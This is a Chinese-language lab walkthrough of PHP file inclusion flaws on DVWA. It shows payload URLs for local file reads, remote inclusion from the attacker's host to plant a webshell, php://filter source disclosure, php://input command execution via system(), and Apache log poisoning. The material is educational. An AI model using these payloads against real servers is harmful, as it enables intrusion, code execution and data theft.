結合DVWA闡述檔案包含漏洞
一、檔案包含漏洞產生的原因
在通過PHP的相應函式(比如include($_REQUEST[666]))引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。
?666=c:/windows/system32/dirvers/etc/hosts
檔案包含可以分為:本地檔案包含和遠端檔案包含
二、檔案包含漏洞的兩個條件
1、include()等函式通過動態變數的方式引入需要包含的檔案
2、使用者能夠控制這個動態變數
三、要實現檔案包含,必須要在php.ini裡配置兩個變數
allow_url_fopen=On
allow_url_include=On
在php.ini中,allow_url_fopen預設是開啟的,它表示允許開啟URL檔案,也就是是否允許將URL(如http://或ftp://)作為檔案處理。
allow_url_include預設是關閉的,它表示是否允許引用URL檔案,也就是是否允許include/require開啟URL(如http://或ftp://)作為檔案處理。
也就是說,allow_url_include=On的時候,就容易出現檔案包含漏洞
一般情況下,遠端檔案漏洞包含的都是TXT檔案,因為檔案包含不受檔案型別的影響。
四、在檔案包含的時候,還可以使用一些PHP內建協議
PHP帶有很多內建的URL風格的封裝協議,利用這些協議,也可以完成檔案包含漏洞的利用
file:// 訪問本地檔案
ftp:// 訪問ftp(s)檔案
php:// 訪問各個輸入/輸出流
五、DVWA檔案包含
攻擊機:物理機,IP為192.168.0.2
靶機:虛擬機器server2003,IP為192.168.10.24
1、根據原始碼分析,$file = $_GET[ ‘page’ ];
可以看到通過url傳遞引數的,並且預設包含include頁面
2、雖然網頁預設顯示的只有file1、file2和file3,但是通過手動在url中輸入file4,也能實現包含。
3、繼續走下去,發現包含本地檔案也是可以的。?page=c:/windows/system32/drivers/etc/hosts
4、目前我在攻擊的目標是一臺2003的虛擬機器,現在把我物理機上的phpstudy開啟,之後試一下靶機能不能通過http包含我物理機上的檔案。在物理機的網站根目錄下新增一個phpinfo.txt檔案,構造?page=http://192.168.0.2/phpinfo.txt
可以看到靶機能夠包含http協議的檔案,並且因為檔案包含不受檔案型別的影響,所以即使是phpinfo.txt檔案,也能夠包含並且解析出來。
5、既然這樣的話,現在嘗試上傳木馬到靶機伺服器中。先在物理機網站目錄下編寫一個上傳一句話木馬地檔案,之後把它上傳到靶機中,讓靶機伺服器去解析這個檔案,就能在靶機當前訪問的網站目錄下生成一個一句話木馬檔案。最後使用菜刀連線。
執行包含http檔案之後,頁面沒有報錯,就是證明執行成功了。它會去解析上面那個檔案,解析之後,靶機當前訪問的網站目錄下就會多出一個一句話木馬檔案
可以看到靶機伺服器的當前訪問的網站目錄下確實多了一個一句話木馬的指令碼檔案
使用菜刀連線
連線成功。
6、除此之外,還可以使用其他php協議進行檔案包含漏洞的利用。比如說,php://filter/read=convert.base64-encode/resource=file1.php,可以在已知網站結構的前提下拿到網站的原始碼。這裡使用了base64編碼,因為有些瀏覽器可能會檢測出這種非法操作,而阻止直接顯示網站原始碼。但是編碼之後再讓瀏覽器顯示,它就檢測不出來了。拿到編碼後的原始碼之後,在去解個碼,就可以拿到網站的原始碼了
7、還有一種操作,還是利用PHP的一種支援協議:php://input。它可以通過include包含,再通過POST提交資料,就可以實現直接執行系統命令了
先傳一個這樣的引數,再到bp裡面抓包。抓到包後,傳送到repeater模組,之後在post請求資料裡面新增PHP指令碼,使用system()函式,可以直接執行cmd命令。
可以在響應包裡面看到,命令執行成功。目前登入的是管理員許可權
8、還有一種操作,就是可以利用apache的日誌檔案,完成檔案包含的漏洞利用
下面就是要利用的那個日誌檔案,它裡面記錄了所有的訪問記錄,無論是訪問到的還是沒有訪問到的。
現在訪問一個不存在的檔案,再去看下日誌
可以看到日誌裡面最後一條記錄的就是這個訪問請求
那麼利用這個日誌檔案,再利用檔案包含不受檔案型別的影響,只要包含檔案中有PHP格式的語句就能解析的特點,就可以完成利用apache日誌檔案的檔案包含漏洞利用。但是還有一點要注意的是,從上面的圖中可以看到,日誌檔案中記錄的請求頭跟我們寫的是有點區別的,因為url在傳送的時候,會自動進行url編碼,傳到伺服器之後,記錄到日誌裡面的就是編碼之後的樣子了。不過問題不大,因為url只是在瀏覽器裡面進行url編碼的,所以這裡用抓包軟體抓下包,再把url編碼的地方改回來就行了。
抓包
把這地方改成這個,再forward過去就行了
現在再來看看靶機伺服器的apache日誌檔案
達到目的,之後再利用檔案包含這個日誌檔案
成功